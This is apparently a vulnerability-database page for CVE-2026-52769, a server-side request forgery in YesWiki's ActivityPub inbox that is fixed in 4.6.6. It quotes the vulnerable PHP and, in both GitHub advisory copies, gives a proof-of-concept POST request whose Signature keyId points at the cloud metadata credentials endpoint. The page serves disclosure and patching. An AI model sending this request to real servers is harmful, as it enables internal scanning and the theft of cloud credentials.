CVE-2026-52769
YesWiki: Unauthenticated Server-Side Request Forgery via ActivityPub `Signature.keyId`
YesWiki is a wiki system written in PHP. From version 4.6.2 to before version 4.6.6, the POST /api/forms/{formId}/actor/inbox route - exposed publicly with acl:"public" - accepts an HTTP Signature header whose keyId parameter is a URL. HttpSignatureService::verifySignature() parses the header and immediately makes a server-side HTTP GET to that URL, before any cryptographic verification or URL validation. An unauthenticated remote attacker can therefore make YesWiki issue arbitrary outbound HTTP requests to any host the server can reach - internal services, cloud-metadata endpoints (169.254.169.254), intranet-only admin panels, etc. - and read enough back via timing and error-message oracles to scan ports, enumerate services, and (on a real cloud instance) reach IAM metadata. The only deployment-side precondition is that ActivityPub be enabled on at least one Bazar form. This issue has been patched in version 4.6.6.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- Low
- Integrity
- Low
- Availability
- Low
Exploit likelihood
What each source reports
CVE List Score used
8.3
YesWiki: Unauthenticated Server-Side Request Forgery via ActivityPub `Signature.keyId`
YesWiki is a wiki system written in PHP. From version 4.6.2 to before version 4.6.6, the POST /api/forms/{formId}/actor/inbox route - exposed publicly with acl:"public" - accepts an HTTP Signature header whose keyId parameter is a URL. HttpSignatureService::verifySignature() parses the header and immediately makes a server-side HTTP GET to that URL, before any cryptographic verification or URL validation. An unauthenticated remote attacker can therefore make YesWiki issue arbitrary outbound HTTP requests to any host the server can reach - internal services, cloud-metadata endpoints (169.254.169.254), intranet-only admin panels, etc. - and read enough back via timing and error-message oracles to scan ports, enumerate services, and (on a real cloud instance) reach IAM metadata. The only deployment-side precondition is that ActivityPub be enabled on at least one Bazar form. This issue has been patched in version 4.6.6.
- Record
CVE-2026-52769- CVSS 3.1
- 8.3 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L - Weakness
- CWE-918
- Updated
- 2026-11-02
EUVDEUVD-2026-71801
8.3
YesWiki is a wiki system written in PHP. From version 4.6.2 to before version 4.6.6, the POST /api/forms/{formId}/actor/inbox route - exposed publicly with acl:"public" - accepts an HTTP Signature header whose keyId parameter is a URL. HttpSignatureService::verifySignature() parses the header and immediately makes a server-side HTTP GET to that URL, before any cryptographic verification or URL validation. An unauthenticated remote attacker can therefore make YesWiki issue arbitrary outbound HTTP requests to any host the server can reach - internal services, cloud-metadata endpoints (169.254.169.254), intranet-only admin panels, etc. - and read enough back via timing and error-message oracles to scan ports, enumerate services, and (on a real cloud instance) reach IAM metadata. The only deployment-side precondition is that ActivityPub be enabled on at least one Bazar form. This issue has been patched in version 4.6.6.
- Record
EUVD-2026-71801- CVSS 3.1
- 8.3 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-vw42-752g-5mrp
8.3
YesWiki has Unauthenticated Server-Side Request Forgery via ActivityPub `Signature.keyId`
Summary
The POST /api/forms/{formId}/actor/inbox route - exposed publicly with acl:"public" - accepts an HTTP Signature header whose keyId parameter is a URL. HttpSignatureService::verifySignature() parses the header and immediately makes a server-side HTTP GET to that URL, before any cryptographic verification or URL validation. An unauthenticated remote attacker can therefore make YesWiki issue arbitrary outbound HTTP requests to any host the server can reach - internal services, cloud-metadata endpoints (169.254.169.254), intranet-only admin panels, etc. - and read enough back via timing and error-message oracles to scan ports, enumerate services, and (on a real cloud instance) reach IAM metadata.
The only deployment-side precondition is that ActivityPub be enabled on at least one Bazar form (bn_activitypub_enable = '1').
Details
Affected component
- File:
tools/bazar/services/HttpSignatureService.php - Method:
HttpSignatureService::verifySignature(Request $request) - Sink: line 96
- Route:
tools/bazar/controllers/ApiController.phpline 125 —@Route("/api/forms/{formId}/actor/inbox", methods={"POST"}, options={"acl":{"public"}})
// tools/bazar/services/HttpSignatureService.php (v4.6.5 = origin/doryphore-dev HEAD,
// lines 83–100)
public function verifySignature(Request $request) {
if (!$request->headers->has('Signature')) {
throw new Exception('No signature');
}
$sigConf = parse_ini_string(
strtr($request->headers->get('Signature'), ["," => "\n"]) // (a) attacker controls every field
);
if (!isset($sigConf['keyId'],$sigConf['algorithm'],$sigConf['headers'],$sigConf['signature'])) {
throw new Exception('Malformed signature');
}
$response = $this->httpClient->request('GET', $sigConf['keyId'], [ // (b) SINK — no validation,
'headers' => [ 'Accept' => 'application/ld+json'] // no allowlist, no scheme
]); // pinning, no IP filtering
...
}
The inbox controller calls verifySignature() before running any cryptography:
// tools/bazar/controllers/ApiController.php (lines 125–145)
/** @Route("/api/forms/{formId}/actor/inbox", methods={"POST"}, options={"acl":{"public"}}) */
public function postFormActorInbox($formId, Request $request)
{
$activityPubService = $this->getService(ActivityPubService::class);
$httpSignatureService = $this->getService(HttpSignatureService::class);
$form = $this->getService(BazarListService::class)->getForms(['idtypeannonce' => $formId])[$formId];
if ($activityPubService->isEnabled($form)) {
$activity = json_decode($request->getContent(), true);
$httpSignatureService->verifySignature($request); // <-- SSRF fires here
$activityPubService->processActivity($activity, $form);
return new ApiResponse(null, Response::HTTP_OK, …);
} else {
throw new NotFoundHttpException();
}
}
The flow is public ACL → enabled-form gate → unconditional outbound HTTP. The attacker controls only the keyId value and never has to produce a valid signature, because the outbound fetch is the very first thing that touches the network.
End-to-end attack chain
A single HTTP request, no session, no CSRF token, no captcha:
POST /?api/forms/1/actor/inbox HTTP/1.1
Host: target.example
Content-Type: application/activity+json
Signature: keyId="http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>",algorithm="rsa-sha256",headers="x",signature="y"
{}
- The Symfony controller matches the route on
formId=1. ActivityPubService::isEnabled($form)returns true (set when the operator turned the feature on).verifySignature()parses the header into a key-value array, findskeyId, and callshttpClient->request('GET', '<attacker URL>'). *…
- Record
GHSA-vw42-752g-5mrp- CVSS 3.1
- 8.3 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L - Weakness
- CWE-918
- Updated
- 2026-11-02
NVD
8.3
YesWiki is a wiki system written in PHP. From version 4.6.2 to before version 4.6.6, the POST /api/forms/{formId}/actor/inbox route - exposed publicly with acl:"public" - accepts an HTTP Signature header whose keyId parameter is a URL. HttpSignatureService::verifySignature() parses the header and immediately makes a server-side HTTP GET to that URL, before any cryptographic verification or URL validation. An unauthenticated remote attacker can therefore make YesWiki issue arbitrary outbound HTTP requests to any host the server can reach - internal services, cloud-metadata endpoints (169.254.169.254), intranet-only admin panels, etc. - and read enough back via timing and error-message oracles to scan ports, enumerate services, and (on a real cloud instance) reach IAM metadata. The only deployment-side precondition is that ActivityPub be enabled on at least one Bazar form. This issue has been patched in version 4.6.6.
- Record
CVE-2026-52769- CVSS 3.1
- 8.3 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L - Weakness
- CWE-918
- Updated
- 2026-11-02
OSV
8.3
YesWiki: Unauthenticated Server-Side Request Forgery via ActivityPub `Signature.keyId`
YesWiki is a wiki system written in PHP. From version 4.6.2 to before version 4.6.6, the POST /api/forms/{formId}/actor/inbox route - exposed publicly with acl:"public" - accepts an HTTP Signature header whose keyId parameter is a URL. HttpSignatureService::verifySignature() parses the header and immediately makes a server-side HTTP GET to that URL, before any cryptographic verification or URL validation. An unauthenticated remote attacker can therefore make YesWiki issue arbitrary outbound HTTP requests to any host the server can reach - internal services, cloud-metadata endpoints (169.254.169.254), intranet-only admin panels, etc. - and read enough back via timing and error-message oracles to scan ports, enumerate services, and (on a real cloud instance) reach IAM metadata. The only deployment-side precondition is that ActivityPub be enabled on at least one Bazar form. This issue has been patched in version 4.6.6.
- Record
CVE-2026-52769- CVSS 3.1
- 8.3 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L - Weakness
- CWE-918
- Updated
- 2026-11-02
OSVGHSA-vw42-752g-5mrp
8.3
YesWiki has Unauthenticated Server-Side Request Forgery via ActivityPub `Signature.keyId`
Summary
The POST /api/forms/{formId}/actor/inbox route - exposed publicly with acl:"public" - accepts an HTTP Signature header whose keyId parameter is a URL. HttpSignatureService::verifySignature() parses the header and immediately makes a server-side HTTP GET to that URL, before any cryptographic verification or URL validation. An unauthenticated remote attacker can therefore make YesWiki issue arbitrary outbound HTTP requests to any host the server can reach - internal services, cloud-metadata endpoints (169.254.169.254), intranet-only admin panels, etc. - and read enough back via timing and error-message oracles to scan ports, enumerate services, and (on a real cloud instance) reach IAM metadata.
The only deployment-side precondition is that ActivityPub be enabled on at least one Bazar form (bn_activitypub_enable = '1').
Details
Affected component
- File:
tools/bazar/services/HttpSignatureService.php - Method:
HttpSignatureService::verifySignature(Request $request) - Sink: line 96
- Route:
tools/bazar/controllers/ApiController.phpline 125 —@Route("/api/forms/{formId}/actor/inbox", methods={"POST"}, options={"acl":{"public"}})
// tools/bazar/services/HttpSignatureService.php (v4.6.5 = origin/doryphore-dev HEAD,
// lines 83–100)
public function verifySignature(Request $request) {
if (!$request->headers->has('Signature')) {
throw new Exception('No signature');
}
$sigConf = parse_ini_string(
strtr($request->headers->get('Signature'), ["," => "\n"]) // (a) attacker controls every field
);
if (!isset($sigConf['keyId'],$sigConf['algorithm'],$sigConf['headers'],$sigConf['signature'])) {
throw new Exception('Malformed signature');
}
$response = $this->httpClient->request('GET', $sigConf['keyId'], [ // (b) SINK — no validation,
'headers' => [ 'Accept' => 'application/ld+json'] // no allowlist, no scheme
]); // pinning, no IP filtering
...
}
The inbox controller calls verifySignature() before running any cryptography:
// tools/bazar/controllers/ApiController.php (lines 125–145)
/** @Route("/api/forms/{formId}/actor/inbox", methods={"POST"}, options={"acl":{"public"}}) */
public function postFormActorInbox($formId, Request $request)
{
$activityPubService = $this->getService(ActivityPubService::class);
$httpSignatureService = $this->getService(HttpSignatureService::class);
$form = $this->getService(BazarListService::class)->getForms(['idtypeannonce' => $formId])[$formId];
if ($activityPubService->isEnabled($form)) {
$activity = json_decode($request->getContent(), true);
$httpSignatureService->verifySignature($request); // <-- SSRF fires here
$activityPubService->processActivity($activity, $form);
return new ApiResponse(null, Response::HTTP_OK, …);
} else {
throw new NotFoundHttpException();
}
}
The flow is public ACL → enabled-form gate → unconditional outbound HTTP. The attacker controls only the keyId value and never has to produce a valid signature, because the outbound fetch is the very first thing that touches the network.
End-to-end attack chain
A single HTTP request, no session, no CSRF token, no captcha:
POST /?api/forms/1/actor/inbox HTTP/1.1
Host: target.example
Content-Type: application/activity+json
Signature: keyId="http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>",algorithm="rsa-sha256",headers="x",signature="y"
{}
- The Symfony controller matches the route on
formId=1. ActivityPubService::isEnabled($form)returns true (set when the operator turned the feature on).verifySignature()parses the header into a key-value array, findskeyId, and callshttpClient->request('GET', '<attacker URL>'). *…
- Record
GHSA-vw42-752g-5mrp- CVSS 3.1
- 8.3 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L - Weakness
- CWE-918
- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
yeswiki/yeswikiPackagist |
4.6.2 up to 4.6.6 | 4.6.6 |
yeswiki/yeswikiPackagist |
4.6.2 up to 4.6.6, plus listed versions v4.6.2v4.6.3v4.6.4v4.6.5 |
4.6.6 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-52769 is a high vulnerability (CVSS 8.3) in Yeswiki, published July 9, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.49%, the 42nd percentile. Fixed in yeswiki/yeswiki 4.6.6.
References
github.com/YesWiki/yeswiki/security/advisories/GHSA-vw42-752g-5mrp
github.com/YesWiki/yeswiki/releases/tag/v4.6.6
github.com/YesWiki/yeswiki/commit/87e627f33e79879827a3669fee2aa1244612c487
github.com/advisories/GHSA-vw42-752g-5mrp
github.com/CVEProject/cvelistV5/tree/main/cves/2026/52xxx/CVE-2026-52769.json
nvd.nist.gov/vuln/detail/CVE-2026-52769
github.com/YesWiki/yeswiki
Left out here: the rest of 2 source descriptions. The JSON record has them.